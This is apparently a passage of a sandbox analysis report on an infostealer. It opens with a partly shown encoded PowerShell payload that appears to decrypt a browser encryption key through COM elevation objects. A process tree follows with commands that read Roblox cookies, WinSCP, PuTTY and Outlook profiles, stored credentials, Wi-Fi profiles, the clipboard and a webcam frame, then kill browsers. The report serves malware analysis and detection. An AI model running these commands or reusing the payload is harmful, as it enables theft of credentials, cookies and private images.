QAcgBpAG4AZwAgAGMALABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAZAAsAHUAaQBuAHQAIABlACwAbwB1AHQAIAB1AGwAbwBuAGcAIABmACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARQBuAGMAcgB5AHAAdABEAGEAdABhACgAaQBuAHQAIABwACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARABlAGMAcgB5AHAAdABEAGEAdABhACgAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKAH0ACgAnAEAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAkAGIAPQAnAFEAVgBCAFEAUQBnAEUAQQBBAEEARABRAGoASgAzAGYAQQBSAFgAUgBFAFkAeAA2AEEATQBCAFAAdwBwAGYAcgBBAFEAQQBBAEEASAB2AEgASwBnAEIAMQBmAFcAdABGAG8AbgBrAGkANAB2AHkAZQB6ADMARQBRAEEAQQBBAEEASABBAEEAQQBBAEUAYwBBAGIAdwBCAHYAQQBHAGMAQQBiAEEAQgBsAEEAQwBBAEEAUQB3AEIAbwBBAEgASQBBAGIAdwBCAHQAQQBHAFUAQQBBAEEAQQBRAFoAZwBBAEEAQQBBAEUAQQBBAEMAQQBBAEEAQQBEAFEAbgBPADgANgA2AG0AcwBnAFAAZQBiAHMAQQBNAGUAcAA1AGwASQBYAEQANgB6AFoAUwBJAGMAUQBUAFQAcgBBAHYAbQAwADMAdgBaADgAOAA3AFEAQQBBAEEAQQBBAE8AZwBBAEEAQQBBAEEASQBBAEEAQwBBAEEAQQBBAEEAZgArAFEAWQBSADkAZwA5AEwAQwBwAHUARgBFAGkAKwBwADYAVQBxAHMANgBtAGcASQByAEYANgBLAGEAZgBiADkAVABWADYAcwBwAG4ARwBCACsASgBBAEIAQQBBAEQAMgBaAGUAOAAwAGwAZQBVAEYATwA0AFYAcwA2AGIAVAA4ADEAMQBJAFEAUQBoADcAQwBpADEANgBPAGkAZwBvAEIAaABZAEwANABJAGkAegBaAEYATgBjAHgAdQA0ADcARQBSAEQANgBhAFEAMgB3AE0AKwBpAGEAZQB5AEEAKwBqAEMAOABXADQATABoAFUASwBjAFAAbwAyAGkAOQBWAGQAMwB5AHkARABuAEwAbQArADEASAB5AFkAMwA2ACsAagBUAFIAUQAwAHQATwAwAGEAbwBHAHUAcgBBAEYAUgBOACsALwA2AHEAOAB5ADcAagBFAEwAQQBCADIAWABjAEEAcgBQAHAANgB5AFgATQB5ADEAcQBhADMATgA3ACsAMQBtAG8ARgBVAEYAdQBlAEkATQBaAG0AaAA3AHMANwBaADYAeQA1AG4ANwBTAFIAaQBFAHgAYwBrAFYALwBhAGgAYQBFAEkAeABUAE4ANwA5AGcAQwBBAHkAUAB0AGYAKwBtAHgARQBtADkAVwBHAHkAcQB3ADkATQArAEIAZQBuAFEALwBxADAANQBhAEEAOAAvAHkAdgBqAGQAbQBGAEsAMgBqAGgAWQBkAGkAUQBCAE8AMQBXAEMASQAyAFEAeQBsAFEALwBXAFIAcABsADgAegBTAEMAeQBIAHoATgB4AHcAUwBoADgAbgBtAGsAUwBkAFUAdwBOAEYASgBiAGMAOQBwAE0AcAA3AFoAQgBkAGcATQAwAHgAYQB3AE0ASQBFADEATwAzADIAQQBPAFEAeQBGAEcAdgBaAHYAeQB1ACsAcQBJAHEAMwBEAGQATAA5AHIANQA0AHoAagB2AHIAMwBvAGoAVwB2AE0ASwBMAEQAagBsAFoATwBlADEAdgBsAHMASQBPAFEAZQBlAHYAUQBWADYAMwAvAGUATQB2AGIAcwBHAG0AeQBhADQAVAB0AEgASQBaAGIANQBqAEMAQgByAFIAQQBLAE0ATABGAG8AcwB5AHMAdgByAHAAcAB4AEQASABHADgAZgBpAHoAOQB5AEsAcABWAFgAUgA1ADYARgBEAFoASQBNAG4ATQBiAG0ANAB2AFQAdwB1AEUATwBIAEgAegBFAGYAeQA2AHQAQwBMADcASQBxAFIAbgBGAE4AOAA1AEUATgBZAC8AZQBsAFMAZABoAGQAbwBSAG0AZwBVAHYAVQB4AEcAOABhADMAeAA1ADkATABpAFgAMABIAHkAZAArAEIAVgBRAEwAVQB1AEMAWABxAG4ATQBsAHkAaAA5AEMANQBuAEMATABNAHMAWQBkADgAWgBCAHQAagBHAFkALwBWAE8AUwBnAFoAOAAyAHMAcwBDAHgANABVAHcAOABLADYAVgBmAHUAcABhAGkAZQBUADAAMAB4AEoAQQBLAFEAQQBBAEEAQQBPAEsAawBwAHkAQgBFAGYAVwBBADEAbgBRADMAagBMAEwAdQBQAFMASQBQADkAKwArAFkAZgBCAGQAUQBXAE0AWABhADIAbwBLAFYAVAA0AGYALwByAEsAbwB0AE0AOQBZAGkANABNAG0ARABqAHoARgBQAFAAcgBoADIAbgB2AHQAYgB4AGoASgA4AHQARgB4AG0ASAAzAGIANwBqAFQAbAA3ADQAQgB2AGMAPQAnAAoAJABlAG4AYwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEwAYQB0AGkAbgAxAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgApACkACgBmAG8AcgBlAGEAYwBoACgAJABjACAAaQBuACAAQAAoACcAewA3ADAAOAA4ADYAMABFADAALQBGADYANAAxAC0ANAA2ADEAMQAtADgAOAA5ADUALQA3AEQAOAA2ADcARABEADMANgA3ADUAQgB9ACcALAAnAHsARABEADIAQwBDADAANABBAC0ARAAzAEQAMwAtADQARABDAEEALQBCAEQAQgA3AC0ARQAwADcARgA0AEIAMAA1AEIANQBGADkAfQAnACwAJwB7AEQAQQA3AEYARABDAEEANQAtADIAQwBBAEEALQA0ADYAMwA3AC0AQQBBADEANwAtADAANwA0ADAANQA4ADQARABFADcARABBAH0AJwAsACcAewA3ADAANABDADIAOAA3ADIALQAyADAANAA5AC0ANAAzADUARQAtAEEANAA2ADkALQAwAEEANQAzADQAMwAxADMAQwA0ADIAQgB9ACcALAAnAHsANQA3ADYAQgAzADEAQQBGAC0ANgAzADYAOQAtADQAQwBCAEIALQBCADMANAA1AC0ANgBCADgAOABFADgAQgBBAEIAMwBDAEUAfQAnACkAKQB7AAoAIAAgACAAIAB0AHIAeQB7AAoAIAAgACAAIAAgACAAIAAgACQAZQBsAD0AWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKABbAFQAeQBwAGUAXQA6ADoARwBlAHQAVAB5AHAAZQBGAHIAbwBtAEMATABTAEkARAAoAFsARwB1AGkAZABdACQAYwAsACQAdAByAHUAZQApACkAIAAtAGEAcwAgAFsASQBFAGwAZQB2AGEAdABvAHIAXQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAhACQAZQBsACkAewBjAG8AbgB0AGkAbgB1AGUAfQAKACAAIAAgACAAIAAgACAAIAAkAGQAZQBjAD0AWwBzAHQAcgBpAG4AZwBdADoAOgBFAG0AcAB0AHkAOwAkAGUAcgByAD0AWwB1AGkAbgB0ADMAMgBdADAACgAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAGwALgBEAGUAYwByAHkAcAB0AEQAYQB0AGEAKAAkAGUAbgBjACwAWwByAGUAZgBdACQAZABlAGMALABbAHIAZQBmAF0AJABlAHIAcgApACAALQBlAHEAIAAwACAALQBhAG4AZAAgACQAZABlAGMALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAApAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoAVwByAGkAdABlAEwAaQBuAGUAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoATABhAHQAaQBuADEALgBHAGUAdABCAHkAdABlAHMAKAAkAGQAZQBjACkAKQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAgADAACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQBjAGEAdABjAGgAewB9AAoAfQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:332
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\coqz0hw5\coqz0hw5.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:700
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9D25.tmp" "c:\Users\Admin\AppData\Local\Temp\coqz0hw5\CSC6E62023BE0EA4604846040477333563A.TMP"
        5⤵
        
        PID:2132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2476
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:64
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:1880
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4480
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:5000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:4784
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:520
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  PID:3784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:3332
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1628
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:1964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com" /v ".ROBLOSECURITY" 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2656
- - C:\Windows\system32\reg.exe
    reg query "HKCU\SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com" /v ".ROBLOSECURITY"
    3⤵
    PID:3136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:4164
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4972
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:3796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:4764
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1160
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:2684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s 2>nul"
  2⤵
  PID:1016
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
    3⤵
    PID:4552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:1388
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
    3⤵
    PID:3452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:4260
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1988
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  PID:64
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "& { try { & ffmpeg -f dshow -i video='0' -frames:v 1 'C:\Users\Admin\AppData\Local\Temp\orbit_vc_y7s4y26ek.png' -y 2>$null } catch {} }""
  2⤵
  PID:2240
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "& { try { & ffmpeg -f dshow -i video='0' -frames:v 1 'C:\Users\Admin\AppData\Local\Temp\orbit_vc_y7s4y26ek.png' -y 2>$null } catch {} }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\vc_eelsz0ory3w.ps1""
  2⤵
  - Executes a command shell one-liner
  PID:4204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\vc_eelsz0ory3w.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2760
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uzy5jp14\uzy5jp14.cmdline"
      4⤵
      PID:3512
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB561.tmp" "c:\Users\Admin\AppData\Local\Temp\uzy5jp14\CSC83C28AC997CD4D66AE3CF1ECB7658F90.TMP"
        5⤵
        
        PID:3252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:2464
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:2636
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:1832
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Valve\Steam" /v SteamPath
    3⤵
    PID:4200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:5060
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:3764
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  PID:3620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles" /s 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4352
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles" /s
    3⤵
    - Accesses Microsoft Outlook profiles
    - outlook_office_path
    PID:2448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmdkey /list"
  2⤵
  PID:804
- - C:\Windows\system32\cmdkey.exe
    cmdkey /list
    3⤵
    PID:3996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles 2>nul"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3772
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "set 2>nul"
  2⤵
  PID:2124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard" 2>nul"
  2⤵
  - Clipboard Data
  PID:644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious behavior: EnumeratesProcesses
    PID:2816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:2864
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1528
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:3564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:404
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:3136
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:2072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  PID:4076
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:2320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:2928
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:2460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:3572
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:3392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:920
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:4604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
  2⤵
  PID:1944
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:1884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:1552
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM yandex.exe /T
    3⤵
    - Kills process with taskkill
    PID:2884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM thorium.exe /T"
  2⤵
  PID:5008
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM thorium.exe /T
    3⤵
    - Kills process with taskkill
    PID:2416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chromium.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:4292
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chromium.exe /T
    3⤵
    - Kills process with taskkill
